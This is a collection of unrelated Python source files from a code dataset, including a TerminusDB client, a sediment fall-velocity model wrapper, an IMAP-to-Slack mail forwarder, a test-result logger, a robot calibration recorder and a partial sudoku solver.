InvalidURIError(ErrorMessage.getInvalidURIMessage(docurl, \"Update\"))\n if type(fileList) == dict:\n file_dict = {}\n for name in fileList:\n path = fileList[name]\n stream = open(path, 'rb')\n print(name)\n file_dict[name] = (name,stream,'text/plain')\n file_dict['terminus:query'] = (None,json.dumps(woqlQuery),'application/json')\n payload = None\n else:\n file_dict = None\n payload = {'terminus:query': json.dumps(woqlQuery)}\n\n return self.dispatch(self.conConfig.queryURL(), const.WOQL_UPDATE, key, payload, file_dict)\n\n @staticmethod\n def directUpdate(woqlQuery, dbURL, key,fileList=None):\n \"\"\"\n Static function that executes a WOQL query on the specified database which\n updates the state and returns the results\n\n Parameters\n ----------\n woqlQuery : WOQLQuery object\n woql query select statement\n dbURL : str\n a valid full TerminusDB database URL\n key : str, optional\n API key\n fileList : list, optional\n List of files that are needed for the query\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n idParser = IDParser()\n idParser.parseDBURL(dbURL)\n\n if type(fileList) == dict:\n file_dict = {}\n for name in fileList:\n path = fileList[name]\n stream = open(path, 'rb')\n print(name)\n file_dict[name] = (name,stream,'text/plain')\n file_dict['terminus:query'] = (None,json.dumps(woqlQuery),'application/json')\n payload = None\n else:\n file_dict = None\n payload = {'terminus:query': json.dumps(woqlQuery)}\n\n return DispatchRequest.sendRequestByAction(idParser.queryURL(), const.WOQL_UPDATE, key, payload, file_dict)\n\n def dispatch(self, url, action, connectionKey, payload={}, file_dict = None):\n \"\"\"\n Directly dispatch to a Terminus database.\n\n Parameters\n ----------\n url : str\n The server URL to point the action at\n connectionKey : str\n API key to the document\n payload : dict\n Payload to send to the server\n file_dict : list, optional\n List of files that are needed for the query\n\n\n Returns\n -------\n dict or raise an InvalidURIError\n \"\"\"\n if connectionKey is None:\n # if the api key is not setted the method raise an APIerror\n connectionKey = self.conCapabilities.getClientKey()\n\n #if (action != const.CONNECT and self.conConfig.connectedMode and self.conCapabilities.serverConnected() is False):\n\n #key = payload.key if isinstance(payload,dict) and key in payload else False\n #self.connect(self.conConfig.serverURL, connectionKey)\n #print(\"CONNCT BEFORE ACTION\", action)\n\n #check if we can perform this action or raise an AccessDeniedError error\n #review the access control\n #self.conCapabilities.capabilitiesPermit(action)\n return DispatchRequest.sendRequestByAction(url, action, connectionKey, payload, file_dict)\n","sub_path":"woqlclient/woqlClient.py","file_name":"woqlClient.py","file_ext":"py","file_size_in_byte":20224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"261798505","text":"#! /usr/bin/env python\n\"\"\"Basic Model Interface implementation for Parker's FallVelocity.\"\"\"\n\nimport types\n\nimport numpy as np\nimport yaml\nfrom basic_modeling_interface import Bmi\n\nfrom STR_scripts.s_FallVelocity import FallVelocity_solver\n\n\nclass FallVelocity(Bmi):\n\n\n _name = 'STR_FallVelocity'\n \n # Standard Names of variables it could potentially get from another model\n _input_var_names = (\n 'particle__diameter',\n 'fluid__kinematic_viscosity',\n 'gravitational_acceleration',\n 'fluid__density',\n 'particle__density',)\n \n # Standard Names of variables it could pass to another model\n _output_var_names = (\n 'particle__settling_velocity',\n 'particle__Reynolds_number',\n 'particle__dimensionless_fall_velocity',)\n\n def __init__(self):\n \"\"\"Create a model that is ready for initialization.\"\"\"\n self._FV = None\n self._time = 0.\n self._values = {}\n self._var_units = {}\n\n\n\n def initialize(self, filename='../input_files/FallVelocity.yaml'):\n \"\"\"Initialize the FallVelocity model.\n\n Parameters\n ----------\n filename : str, optional\n Path to name of input file.\n \"\"\"\n \n with open(filename, 'r') as file_obj:\n params = yaml.load(file_obj)\n \n default_params = {'particle__diameter': 0.1,\n 'fluid__kinematic_viscosity': 1e-6,\n 'gravitational_acceleration': 9.81,\n 'fluid__density': 1000.,\n 'particle__density': 2650.,\n 'output_filename': 'output/FallVelocity_output.json'}\n \n \n # sets missing parameters to default values\n for key,value in default_params.items():\n params[key] = params.get(key, default_params[key])\n\n for key,value in params.items():\n if (value is None) or (value == 'None'):\n params[key] = default_params[key]\n \n \n \n self._FV = FallVelocity_solver(params)\n\n\n self._values = {'particle__diameter': self._FV.grain_size,\n 'fluid__kinematic_viscosity': self._FV.kinematic_viscosity,\n 'gravitational_acceleration': self._FV.gravitational_acceleration,\n 'fluid__density': self._FV.density_of_fluid,\n 'particle__density': self._FV.density_of_particle,\n 'particle__settling_velocity': self._FV.settling_velocity,\n 'particle__Reynolds_number': self._FV.Reynolds_number,\n 'particle__dimensionless_fall_velocity': self._FV.dimensionless_fall_velocity}\n \n \n self._var_units = {\n 'particle__diameter': 'mm',\n 'fluid__kinematic_viscosity': 'm2 s-1',\n 'gravitational_acceleration': 'm s-2',\n 'fluid__density': 'Kg m-3',\n 'particle__density': 'Kg m-3',\n 'particle__settling_velocity': 'm s-1',\n 'particle__Reynolds_number': '-',\n 'particle__dimensionless_fall_velocity': '-'}\n \n\n\n # keep these methods so it can couple with other BMIed models\n def update(self):\n \"\"\"Advance model by one time step.\n Since this script does not evolve in time,\n update() just runs the script once\"\"\"\n \n self._FV.run()\n \n\n def update_frac(self, time_frac):\n \"\"\"Update model by a fraction of a time step.\n\n Parameters\n ----------\n time_frac : float\n Fraction fo a time step.\n \n Since this script does not evolve in time,\n update() just runs the script once\"\"\"\n \n self.update()\n\n\n def update_until(self, then):\n \"\"\"Update model until a particular time.\n\n Parameters\n ----------\n then : float\n Time to run model until.\n \n Since this script does not evolve in time,\n update() just runs the script once\"\"\"\n \n self.update()\n\n def finalize(self):\n \"\"\"Finalize model.\"\"\"\n self._FV.finalize()\n \n \n \n\n\n\n def get_var_type(self, var_name):\n \"\"\"Data type of variable.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n\n Returns\n -------\n str\n Data type.\n \"\"\"\n return str(self.get_value_ref(var_name).dtype)\n\n def get_var_units(self, var_name):\n \"\"\"Get units of variable.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n\n Returns\n -------\n str\n Variable units.\n \"\"\"\n return self._var_units[var_name]\n\n def get_var_nbytes(self, var_name):\n \"\"\"Get units of variable.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n\n Returns\n -------\n int\n Size of data array in bytes.\n \"\"\"\n return self.get_value_ref(var_name).nbytes\n\n\n\n def get_value_ref(self, var_name):\n \"\"\"Reference to values.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n\n Returns\n -------\n array_like\n Value array.\n \"\"\"\n return self._values[var_name]\n\n def get_value(self, var_name):\n \"\"\"Copy of values.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n\n Returns\n -------\n array_like\n Copy of values.\n \"\"\"\n return self.get_value_ref(var_name).copy()\n\n\n def set_value(self, var_name, src):\n \"\"\"Set model values.\n\n Parameters\n ----------\n var_name : str\n Name of variable as CSDMS Standard Name.\n src : int or float\n New value\n \"\"\"\n val = self.get_value_ref(var_name)\n val[:] = src\n\n\n def get_component_name(self):\n \"\"\"Name of the component.\"\"\"\n return self._name\n\n def get_input_var_names(self):\n \"\"\"Get names of input variables.\"\"\"\n return self._input_var_names\n\n def get_output_var_names(self):\n \"\"\"Get names of output variables.\"\"\"\n return self._output_var_names\n \n","sub_path":"STR/FallVelocity.py","file_name":"FallVelocity.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"29861502","text":"import random\nclass Solution(object):\n def __init__(self, nums):\n \"\"\"\n :type nums: List[int]\n \"\"\"\n self.original = nums\n\n def reset(self):\n \"\"\"\n Resets the array to its original configuration and return it.\n :rtype: List[int]\n \"\"\"\n return self.original\n\n def shuffle(self):\n \"\"\"\n Returns a random shuffling of the array.\n :rtype: List[int]\n \"\"\"\n res = []\n marked = [False, ]*len(self.original)\n for i in range(len(self.original)):\n randIndex = random.randint(0, len(self.original) - 1 - i)\n restElement = list(filter(lambda x: not marked[x], range(len(self.original))))\n marked[restElement[randIndex]] = True\n res.append(self.original[restElement[randIndex]])\n\n return res\n\n # Your Solution object will be instantiated and called as such:\n # obj = Solution(nums)\n # param_1 = obj.reset()\n # param_2 = obj.shuffle()\n\nif __name__ == \"__main__\":\n arr = [1, 2, 3, 4, 5, 6, 7]\n s = Solution(arr)\n for i in range(10):\n r0 = s.shuffle()\n print(r0)\n","sub_path":"exercise/leetcode/python_src/by2017_Sep/Leet384.py","file_name":"Leet384.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"354799441","text":"#!/usr/bin/python\n# Copyright (c) 2021 Philip Company\n# Author: Philip Chen\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport speech_recognition as sr\nimport time\nimport sys\nimport smbus\n\nbus = smbus.SMBus(1)\n\n# this device has two I2C addresses\nDISPLAY_RGB_ADDR = 0x62\nDISPLAY_TEXT_ADDR = 0x3e\n\n# I2C LCD\n# set backlight to (R,G,B) (values from 0..255 for each)\ndef setRGB(r,g,b):\n bus.write_byte_data(DISPLAY_RGB_ADDR,0,0)\n bus.write_byte_data(DISPLAY_RGB_ADDR,1,0)\n bus.write_byte_data(DISPLAY_RGB_ADDR,0x08,0xaa)\n bus.write_byte_data(DISPLAY_RGB_ADDR,4,r)\n bus.write_byte_data(DISPLAY_RGB_ADDR,3,g)\n bus.write_byte_data(DISPLAY_RGB_ADDR,2,b)\n\n# send command to display (no need for external use)\ndef textCommand(cmd):\n bus.write_byte_data(DISPLAY_TEXT_ADDR,0x80,cmd)\n\n# set display text \\n for second line(or auto wrap)\ndef setText(text):\n textCommand(0x01) # clear display\n time.sleep(.05)\n textCommand(0x08 | 0x04) # display on, no cursor\n textCommand(0x28) # 2 lines\n time.sleep(.05)\n count = 0\n row = 0\n for c in text:\n if c == '\\n' or count >= 16:\n count = 0\n row += 1\n if row >= 2:\n break\n textCommand(0xc0)\n if c == '\\n':\n continue\n count += 1\n bus.write_byte_data(DISPLAY_TEXT_ADDR,0x40,ord(c))\n\ndef i2c_lcd_test():\n textCommand(0x01) # clear display\n time.sleep(.05)\n textCommand(0x08 | 0x04) # display on, no cursor\n textCommand(0x28) # 2 lines\n time.sleep(.05)\n\n for i in range(0,5):\n setRGB( 255, 0, 0 )\n time.sleep(1)\n setRGB( 255, 255, 0 )\n time.sleep(1)\n setRGB( 0, 255, 0 )\n time.sleep(1)\n setRGB( 0, 255, 255 )\n time.sleep(1)\n setRGB( 0, 0, 255 )\n time.sleep(1)\n setRGB( 255, 0, 255 )\n time.sleep(1)\n\n setRGB( 128, 255, 0 )\n setText( \"Hello world !\\nIt works !\\n\" )\n\ndef i2c_lcd_init():\n textCommand(0x01) # clear display\n time.sleep(.05)\n textCommand(0x08 | 0x04) # display on, no cursor\n textCommand(0x28) # 2 lines\n time.sleep(.05)\n\ni2c_lcd_init()\nr = sr.Recognizer()\n\nwhile True:\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source)\n print('say one of follows :\\n\"red carpet\"\\n\"green grass\"\\n\"navy blue\"\\n\"yellow river\"\\n\"blue sky\"\\n\"pink panther\"\\n\"snow white\"\\n')\n print('say \"stop\" to exit')\n audio = r.record(source, duration = 3)\n \n try:\n voice_data = r.recognize_google(audio, language='en-US')\n print(voice_data)\n if voice_data.lower() == 'red carpet':\n setRGB( 255, 0, 0 )\n elif voice_data.lower() == 'green grass':\n setRGB( 0, 255, 0 )\n elif voice_data.lower() == 'navy blue':\n setRGB( 0, 0, 255 )\n elif voice_data.lower() == 'yellow river':\n setRGB( 255, 255, 0 )\n elif voice_data.lower() == 'blue sky':\n setRGB( 0, 255, 255 )\n elif voice_data.lower() == 'pink panther':\n setRGB( 255, 0, 255 )\n elif voice_data.lower() == 'snow white':\n setRGB( 255, 255, 255 )\n elif voice_data.lower() == 'stop':\n setRGB( 0, 0, 0 )\n break\n except Exception as e:\n print (e)\n \n","sub_path":"i2s_lcd.py","file_name":"i2s_lcd.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"362390309","text":"\nfrom imap_module_wrapper import IMAPConnection\nfrom slackapi import SlackPoster\nimport requests\nimport configparser\nimport os.path\nimport sys\n\n\n# = 設定ファイル ロード ========================================================\nenvConfig = configparser.ConfigParser()\nenvConfig.read('../slacknotify_envsettings.ini')\naddressList = configparser.ConfigParser()\naddressList.read('slacknotify_addresslist.ini')\nporicyList = configparser.ConfigParser()\nporicyList.read('slacknotify_domainlist.ini')\n\n# = 新規メールのチェック・Slack転送 =============================================\n## 核心的処理\ndef mailCheckAndProcess(session, mailBoxName):\n ## Flagがついてないメールの番号を取得\n session.selectBox(mailBoxName)\n mails=session.getNoFlaggedMail()\n ## 各メールについて処理\n \n for i in mails[0].split():\n ## メールを取得\n mail=session.getMailDetail(i)\n mailaddressInfo = addressList.items(section=section)\n ## メールアドレスと紐づいた全ての受付チャンネルについて処理\n ProceedCnt = 0\n FinishedResponces = []\n for p in mailaddressInfo:\n if('imap_notify' in p[0]):\n ## 受信チャンネルへメール転送\n ProceedCnt = ProceedCnt + 1\n try:\n slackpt=SlackPoster()\n responce=slackpt.IMAPMailPost(\n channelId = p[1],\n uid = mail['UID'],\n succeedState = mail['Succeed'],\n mailBoxName = mailBoxName,\n mailFromAdd = mail['From_Address'],\n mailFromName = mail['From_Name'],\n mailToAdd = mail['To_Address'],\n mailToName = mail['To_Name'],\n mailsub = mail['Subject'],\n mailbody = mail['Body']\n )\n session.addFlagToMail(i,'Slack_'+responce['ts'])\n FinishedResponces.append(responce)\n except Exception as Err_inst:\n print(Err_inst)\n continue\n if ProceedCnt == len(FinishedResponces):\n print('Transfar Mail Completed of mail '+str(i))\n session.addFlagToMail(i,'POSTED_SLACK_COMPLETED')\n if len(FinishedResponces) != 0:\n print('Transfar Mail of '+str(i))\n print(' - RequirePost:'+str(ProceedCnt))\n print(' - CompletedPost:'+str(len(FinishedResponces)))\n session.addFlagToMail(i,'POSTED_SLACK')\n session.commitFrags()\n print('commited flag')\n session.closeBox()\n \n\n## めんどい色々\nfor sections in addressList.items():\n # [ここから] メールアドレス毎に実行\n section = sections[0]\n if section == \"DEFAULT\":\n continue\n # IMAPサーバURL/Port ロード\n poricyName = addressList[section]['poricy']\n IMAPserverUrl = poricyList[poricyName]['imap_address']\n IMAPServerPort = poricyList[poricyName]['imap_port']\n # IMAPサーバ接続\n session = IMAPConnection(IMAPserverUrl,IMAPServerPort) # Sock Session作成\n session.login(addressList[section]['imap_user'],addressList[section]['imap_pass']) # Login\n ## 全メールのチェック・転送・マーク処理\n mailCheckAndProcess(session,'INBOX')\n mailCheckAndProcess(session,'INBOX.Sent')\n ## 後始末\n session.logout()\n # [ここまで] メールアドレス毎に実行\n\n\n","sub_path":"imap_root.py","file_name":"imap_root.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"38586390","text":"import logging\nimport sys\nimport threading\nimport time\nimport traceback\nimport xml.etree.ElementTree as ET\n\n\nclass _TextRecorder(object):\n \"\"\"Record test result to stdout.\"\"\"\n\n def __init__(self, opts, logger):\n self._opts = opts\n self._logger = logger\n\n def start(self, case):\n if case == 1:\n self._logger.info(\"TEST START\")\n self._logger.debug(\"CASE %2d: START\" % case)\n\n def success(self, case, rc, out):\n if self._opts.is_verbose:\n self._logger.info(\n \"CASE %2d: SUCCESS (rc %s)\\n%s\" % (case, rc, out)\n )\n else:\n self._logger.info(\"CASE %2d: SUCCESS\" % case)\n\n def failure(self, case, rc, out):\n self._logger.info(\"CASE %2d: FAILURE (rc %s)\\n%s\" % (case, rc, out))\n\n def skip(self, case):\n self._logger.info(\"CASE %2d: SKIP\" % case)\n\n def timeout(self, case, pid):\n self._logger.info(\n \"CASE %2d: TIMEOUT \"\n \"(after %ds, pid: %d)\" % (case, self._opts.timeout, pid)\n )\n\n def flush(self):\n pass\n\n\nclass _JunitRecorder(object):\n \"\"\"Record test results to Junit xml.\"\"\"\n\n def __init__(self, opts):\n self._opts = opts\n # test results format:\n # { 1: {'start': , 'end': , 'rc': ,\n # 'out': } }\n self._results = {}\n self._skipped = []\n self._timedout = []\n self._start_times = {}\n self._lock = threading.Lock()\n\n def start(self, case):\n with self._lock:\n # Note that some test cases that do not exist are started due to\n # the nature of threaded test case runs. These extra cases are\n # ignored.\n self._start_times[case] = time.time()\n\n def success(self, case, rc, out):\n with self._lock:\n self._results[case] = {\n \"start\": self._start_times[case],\n \"end\": time.time(),\n \"rc\": rc,\n \"out\": out,\n }\n\n def failure(self, case, rc, out):\n with self._lock:\n self._results[case] = {\n \"start\": self._start_times[case],\n \"end\": time.time(),\n \"rc\": rc,\n \"out\": out,\n }\n\n def timeout(self, case, pid):\n with self._lock:\n self._timedout.append(case)\n\n def skip(self, case):\n with self._lock:\n self._skipped.append(case)\n\n def _write_out_xml(self):\n # Some helpful information on the Junit format:\n # http://stackoverflow.com/questions/4922867/\n # junit-xml-format-specification-that-hudson-supports\n suite = ET.Element(\"testsuite\")\n ET.SubElement(suite, \"properties\")\n suite.set(\"name\", self._opts.component_name)\n\n properties = suite.find(\"properties\")\n verbosityProperty = ET.SubElement(properties, \"property\")\n verbosityProperty.set(\"name\", \"verbosity\")\n verbosityProperty.set(\"value\", \"%d\" % self._opts.verbosity)\n\n timeoutProperty = ET.SubElement(properties, \"property\")\n timeoutProperty.set(\"name\", \"timeout\")\n timeoutProperty.set(\"value\", \"%d\" % self._opts.timeout)\n\n cases = sorted(self._skipped + list(self._results.keys()))\n\n for case in cases:\n testcase = ET.SubElement(suite, \"testcase\")\n testcase.set(\"name\", \"%d\" % case)\n if case in self._results:\n case_result = self._results[case]\n delta = case_result[\"end\"] - case_result[\"start\"]\n testcase.set(\"time\", \"%.6f\" % delta)\n systemout = ET.SubElement(testcase, \"system-out\")\n systemout.text = case_result[\"out\"]\n if case_result[\"rc\"] == 0:\n testcase.set(\"status\", \"passed\")\n else:\n testcase.set(\"status\", \"failed\")\n failure = ET.SubElement(testcase, \"failure\")\n if case in self._timedout:\n failure.set(\"type\", \"timeout\")\n else:\n failure.set(\"type\", \"test failure\")\n failure.set(\"message\", \"rc: %d\" % case_result[\"rc\"])\n else:\n ET.SubElement(testcase, \"skipped\")\n\n tree = ET.ElementTree(suite)\n tree.write(self._opts.junit_file_path)\n\n def flush(self):\n with self._lock:\n self._write_out_xml()\n\n\nclass Log(object):\n \"\"\"This class represents a mechanism to record the status of the test run.\n\n An object of this type can be used to record when a test case started,\n succeeded, or failed. If the options passed into the initializer has the\n ``junit_file_path`` attribute set, the object records the status to the\n junit xml file pointed to by that attribute; otherwise, the object writes\n the status messages directly to stdout.\n\n \"\"\"\n\n def __init__(self, opts):\n \"\"\"Initialize the object with specified options.\n\n Args:\n opts (Options): Test runner options.\n \"\"\"\n self._opts = opts\n self._configure_logger()\n if self._opts.junit_file_path:\n self._recorder = _JunitRecorder(self._opts)\n else:\n self._recorder = _TextRecorder(self._opts, self._logger)\n\n def _configure_logger(self):\n self._logger = logging.getLogger()\n datefmt = \"%H:%M:%S\"\n if self._opts.is_debug:\n level = logging.DEBUG\n format_ = \"[%(asctime)s] [%(threadName)s] %(message)s\"\n else:\n level = logging.INFO\n format_ = \"[%(asctime)s] %(message)s\"\n\n handler = logging.StreamHandler(sys.stdout)\n formatter = logging.Formatter(format_, datefmt)\n handler.setFormatter(formatter)\n self._logger.addHandler(handler)\n self._logger.setLevel(level)\n\n def record_start(self, case):\n self._recorder.start(case)\n\n def record_skip(self, case):\n self._recorder.skip(case)\n\n def record_timeout(self, case, pid):\n self._recorder.timeout(case, pid)\n\n def record_success(self, case, rc, out):\n self._recorder.success(case, rc, out)\n\n def record_failure(self, case, rc, out):\n self._recorder.failure(case, rc, out)\n\n def record_exception(self, case, e):\n self._logger.info(\"CASE %2d: PYTHON EXCEPTION (%s)\" % (case, str(e)))\n self._logger.info(\"Traceback:\")\n for line in traceback.format_exception(*sys.exc_info()):\n self._logger.info(line.rstrip())\n\n def info(self, msg):\n self._logger.info(msg)\n\n def info_case(self, case, msg):\n self._logger.info(\"CASE %2d: %s\" % (case, msg))\n\n def debug(self, msg):\n self._logger.debug(msg)\n\n def debug_case(self, case, msg):\n self._logger.debug(\"CASE %2d: %s\" % (case, msg))\n\n def flush(self):\n self._recorder.flush()\n\n\n# -----------------------------------------------------------------------------\n# Copyright 2015 Bloomberg Finance L.P.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ----------------------------- END-OF-FILE -----------------------------------\n","sub_path":"BdeBuildSystem/scripts/runtest/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":7694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"599501409","text":"print('APP_Predicate')\npath = '/home/students/stalknia/Papka/apps/'\nimport nn\nimport preprocessing\nfrom dictionary import *\nfrom predicate_nn import bag_of_words\n\nDICT_FILE = '{}predicate/dats/dict_predicate.dat'.format(path)\nWEIGHTS_FILE = '{}predicate/dats/weights_predicate.dat'.format(path)\n\nd = DictionaryC()\nd.load(DICT_FILE)\n\nnetwork = nn.Net()\nnetwork.load(WEIGHTS_FILE)\n\npredicate = lambda text, res : 'http://dbpedia.org/ontology/{}'.format(vec_to_class(network.net(bag_of_words(preprocessing.full(text), d.dictionary)), d.classes))\n\nimport sys\nsys.path.insert(0, path)\nimport app_template\nimport return_template\n\nconfigfile = \"{}predicate/predicate.conf\".format(path)\naboutendpoint = \"/about\"\nhealthendpoint = \"/health\"\n\ndata_type = 'predicate'\nasks = []\n\nblueprint = return_template.service(predicate, asks, data_type, configfile).relation_clf\napp_template.app(configfile, aboutendpoint, healthendpoint, blueprint)\n","sub_path":"apps/predicate/app_predicate.py","file_name":"app_predicate.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"388612589","text":"# Birthday Months Counter\nimport json\nimport datetime\nfrom collections import Counter\n\nwith open(\"resources/Exercise34.json\", \"r\") as f:\n birthdays = json.load(f)\n\ndates = birthdays.values()\nparsedDates = []\n\nfor i in dates:\n my_date = datetime.datetime.strptime(i, \"%m/%d/%Y\")\n parsedDates.append(my_date.strftime(\"%B\"))\n\nc = Counter(parsedDates)\n\nwith open(\"resources/Exercise35.json\", \"w\") as f:\n json.dump(c, f, sort_keys=True, indent=4)\n","sub_path":"Exercise35.py","file_name":"Exercise35.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"343841883","text":"#!/usr/bin/python\n\nimport rospy, tf_conversions, rospkg\nfrom james_ur_kinematics.srv import *\nfrom geometry_msgs.msg import Pose, Point, Quaternion\nfrom natnet_msgs.msg import MarkerList\n\nimport numpy as np\nfrom time import sleep\n\npkg_dir = rospkg.RosPack().get_path('motive_ur_calib') + '/'\nmotive_samples_fp = pkg_dir + 'calib_data_motive.npy'\n\n### UR5 control\n\npx_r = [ 0.6, 0.7 ]; py_r = [ -0.2, 0.1 ]; pz_r = [ 0.1, 0.2 ]\nrr_r = [ -np.pi/2, np.pi/2 ]; rp_r = [ 0.0, np.pi/8 ]; ry_r = [ -np.pi/6, np.pi/6 ]\nur_move_time = 5.0\n\npose_ranges_ = [ px_r, py_r, pz_r, rr_r, rp_r, ry_r ]\npose_mindiff_ = [ [ np.min(pose_ranges_[i]), np.ptp(pose_ranges_[i]) ] for i in range(6) ]\nquaternion_from_euler = tf_conversions.transformations.quaternion_from_euler\n\ndef gen_random_pose(ik_svc):\n while True:\n r_ = np.random.random_sample(6)\n pose6_ = [ pose_mindiff_[i][0] + r_[i]*pose_mindiff_[i][1] for i in range(6) ]\n ql_ = list(quaternion_from_euler(*pose6_[3:]))\n ik_req_ = IKRequest(ee_pose=Pose(\n position=Point(*pose6_[:3]), orientation=Quaternion(*ql_)))\n jangs_ = ik_svc(ik_req_).joint_angles\n if len(jangs_) > 0: return list(jangs_[:6]), pose6_[:3]+ql_\n \ndef move_to_random_pose(ik_svc, m2j_svc):\n j6_,p7_ = gen_random_pose(ik_svc)\n m2j_svc(MoveToRequest(ur_state=j6_+[ur_move_time], gripper_state=True))\n \n return j6_, p7_\n\n### user input with typecast\n\ndef cast_input(datatype, s=''):\n while True:\n try:\n return datatype(raw_input(s))\n except:\n print(' Invalid input, please try again ...')\n\nif __name__ == '__main__':\n\n ### ROS stuff\n\n rospy.init_node('ur5_motive_calib_rec_script', anonymous=True)\n\n ik_topic_ = 'ur5_kin/IK'\n rospy.wait_for_service(ik_topic_)\n ik_svc_ = rospy.ServiceProxy(ik_topic_, IK)\n\n m2j_topic_ = 'ur5/command/moveToJoints'\n rospy.wait_for_service(m2j_topic_)\n m2j_svc_ = rospy.ServiceProxy(m2j_topic_, MoveTo)\n\n ### marker data handling\n\n def get_loose_markers_msg():\n while True:\n msg_ = rospy.wait_for_message(\n '/natnet_client/markers/leftovers', MarkerList)\n if len(msg_.ids) != 0: return msg_\n else: sleep(0.1)\n \n def get_marker_xyz(mID):\n while True:\n motive_msg_ = get_loose_markers_msg()\n if not (mID in motive_msg_.ids):\n print(motive_msg_.ids)\n mID = cast_input(int, ' Please enter a marker ID: ')\n else: \n i_ = motive_msg_.ids.index(mID)\n xyz_ = [ motive_msg_.positions[i_].x,\n motive_msg_.positions[i_].y, motive_msg_.positions[i_].z ]\n return xyz_, mID\n\n mID_ = None\n\n ### actual data gettin'\n \n n_samples_ = 10\n marker_readings_per_sample_ = 10\n \n motive_samps_all_ = np.empty([n_samples_,10])\n for i in range(n_samples_):\n # move robot\n j6_,p7_ = move_to_random_pose(ik_svc_, m2j_svc_)\n # marker positions\n motive_samps_ = np.empty([marker_readings_per_sample_,3])\n for j in range(marker_readings_per_sample_):\n motive_samps_[j,:],mID_ = get_marker_xyz(mID_)\n motive_samps_mean_ = np.mean(motive_samps_, axis=0)\n # append\n motive_samps_all_[i,:7] = p7_\n motive_samps_all_[i,7:] = motive_samps_mean_\n print('Recorded %d/%d' % (i+1,n_samples_))\n\n np.save(motive_samples_fp, motive_samps_all_)\n","sub_path":"src/record_data.py","file_name":"record_data.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"568349516","text":"#######################################################\n#Made by: Joren Vrancken\n#Description: sudoku solver with algorithme X \n#Last edit: 02-05-2013: added tutorial\n#######################################################\n#How to:\n#Put your sudoku in the var named 'sudoku'.\n#any known numbers as ints and unknown numbers as \"x\" with quotes\n#######################################################\nsudoku =[\n[\"x\",\"x\",\"x\",8,4,\"x\",\"x\",\"x\",9], \n[\"x\",\"x\",1,\"x\",\"x\",\"x\",\"x\",\"x\",5], \n[8,\"x\",\"x\",\"x\",2,1,4,6,\"x\"], \n[7,\"x\",8,\"x\",\"x\",\"x\",\"x\",9,\"x\"], \n[\"x\",\"x\",\"x\",\"x\",\"x\",\"x\",\"x\",\"x\",\"x\"], \n[\"x\",5,\"x\",\"x\",\"x\",\"x\",3,\"x\",1], \n[\"x\",2,4,9,1,\"x\",\"x\",\"x\",7], \n[9,\"x\",\"x\",\"x\",\"x\",\"x\",5,\"x\",\"x\"],\n[3,\"x\",\"x\",\"x\",8,4,\"x\",\"x\",\"x\"]]\n#######################################################\n#Don't edit anything beyond this line\n#######################################################\nimport time \nstart_time = time.time()\nprint(\"starting the sudoku solver\")\nprint(\"------sudoku to solve------\")\nfor row in sudoku:\n string = \"\"\n for n in row:\n string+=str(n)+\" \"\n print(string)\nprint(\"-\"*27)\nprint(\"Solutions\")\nprint(\"-\"*27)\n\n\ndef block(c):\n\tx=[0,0,c[2]]\n\tfor i in range(2):\n\t\tif c[i] < 3:\n\t\t\tx[i] = 1\n\t\tif c[i] >= 3 and c[i] < 6:\n\t\t\tx[i] = 2\n\t\tif c[i] >= 6:\n\t\t\tx[i] = 3\n\treturn (\"b\",x[0],x[1],x[2])\n\ndef dictcopy(dic):\n\tkeys = list(dic.keys())\n\tvalues = list(dic.values())\n\tvalues = [list(i) for i in values]\n\treturn dict(zip(keys,values))\n\ndef 